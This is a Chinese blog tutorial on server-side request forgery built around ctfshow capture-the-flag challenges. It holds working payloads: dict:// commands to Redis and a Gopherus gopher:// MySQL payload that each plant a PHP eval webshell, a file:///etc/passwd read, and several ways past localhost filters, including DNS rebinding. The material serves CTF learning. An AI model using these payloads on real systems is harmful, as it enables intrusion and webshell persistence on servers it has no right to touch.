SSRF介绍及利用(ctfshow)

一、介绍

定义:SSRF(Server-Side Request Forgery:服务器端请求伪造)通过篡改 HTTP 请求中的资源地址发送给服务器,服务器没有校验请求的合法性,服务器解析用户传递过来的请求,处理之后返回给用户。简单理解就是将WEB服务器作为了一个跳板(代理)去请求更深层(内网)的资源。
 
危害及利用:
1.外网的端口和服务扫描
2.主机本地敏感数据的读取(任意文件读取)
3.内外网主机应用程序漏洞的利用
4.内外网 Web 站点漏洞的利用
 
 PHP中下面函数的使用不当会导致SSRF:
file_get_contents() 可以读取PHP文件
fsockopen()
curl_exec() 不能读取PHP文件
  一句话来说,SSRF是为了攻击我们直接打不到的地方。内网一般来说太脆弱了,通过SSRF很容易就攻破了。

二、实战(这里用一道题介绍)

ctfshow web360:

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo ($result);
?>

这里题目使用的是curl,我们可以本地执行curl -V来查看支持使用的协议。

 dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 

一般会用到:dict,gopher,http,https,file协议等。

下面是用到的协议全是curl所支持的协议。

1.端口扫描(利用dict协议+执行命令)

POST: url=dict://127.0.0.1:§80§

我们使用bp的爆破模块,如果端口开放会返回不一样的Length。 探测出服务器开放的端口和服务后,我们能进一步操作。例如该题目爆破之后发现了redis服务开放在6379端口上。

命令步骤如下:

更改rdb文件的目录至网站目录下

url=dict://xxx.xxx:6379/config:set:dir:/var/www/html


将rdb文件名dbfilename改为webshell的名字

url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php


写入webshell
这里的十六进制等价于    <?php eval($_POST[hit]);?>
url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x68\x69\x74\x5d\x29\x3b\x3f\x3e"


进行备份
dict://xxx.xxx:6379/save

然后访问我们写入的webshell.php即可。

2.SSRF任意文件读取(利用file协议:我们需要知道文件的名字)

POST:url=file:///etc/passwd

3.gopher协议对内网服务发送GET or POST请求 

  Gopher 在 HTTP 协议前是非常有名的信息查找系统,但是 WWW 万维网出现之后 Gopher 逐渐没落,但是在 SSRF 漏洞中 Gopher 协议让洞利用更加灵活,利用此协议可以对 ftp,memcache,mysql,telnet,redis,等服务进行攻击,可以构造发送 GET,POST 请求包。
  语法格式:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
  这里注意有一个下划线,是因为gopher协议默认吃掉第一个字符。

(1)GET请求

示例:我们这里写一个极其简单的测试页面即可如下

 然后,我们重点看发送的http请求的数据包:这里我们只保留了两行发送给服务器就给了我们响应(注意看最后的那个换行符!也要保留)

 我们将保留的部分进行url编码以后作为我们的TCP数据流,然后通过gopher协议发送请求即可,如下图。

(2)POST请求

示例:

关于POST请求的方式我们要保留如下几行

 然后进行url编码变成我们需要的TCP数据流,通过gopher协议发送给服务器即可。

补充:这里要注意对下划线后面的内容要进行两次url加密,我这里只编码了一次。

 

下面介绍一下工具Gopherus的使用:(打mysql无密码和redis服务等)

环境:python2

(1)mysql无密码:

将生成的payload下划线后面进行第二次url编码以后提交即可。例如:

POST:url=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%38%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%37%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%36%38%25%36%39%25%37%34%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%38%25%36%39%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

 (2)redis服务

将生成的payload下划线后面进行第二次url编码以后提交,然后访问shell.php即可。

 三、关于127.0.0.1过滤绕过

十六进制
url=http://0x7F.0.0.1/flag.php

十六进制整数格式
url=http://0x7F000001/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

其他写法
url=http://127.1/flag.php
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

302跳转
写一个页面然后<?php header("Location:http://127.0.0.1/flag.php");?>

修改自己的域名A记录
127.0.0.1

找现成的A记录是127.0.0.1的网站
url=http://sudo.cc/flag.php

DNS-Rebinding攻击绕过(在ceye.io注册绑定127.0.0.1,然后记得前面加r,原理网上很多介绍)
url=http://r.xxxzc8.ceye.io/flag.php 

 

关于parse_url()  函数:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}
要求以http://ctf.开头,以show结尾:url=http://ctf.@127.0.0.1/flag.php?show
<?php
    $url = 'http://username:password@hostname/path?arg=value#anchor';
    print_r(parse_url($url));
    echo parse_url($url, PHP_URL_PATH);
?>

结果----------------------------------------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => hostname			//
    [user] => username			@前
    [pass] => password			@前
    [path] => /path				/
    [query] => arg=value		?以后的key=value
    [fragment] => anchor		#以后的部分
)

 

参考链接:https://blog.csdn.net/qq_50589021/article/details/120183781

 

 

 

 

 

posted @ 2022-03-31 10:47  hithub  阅读(824)  评论(0编辑  收藏  举报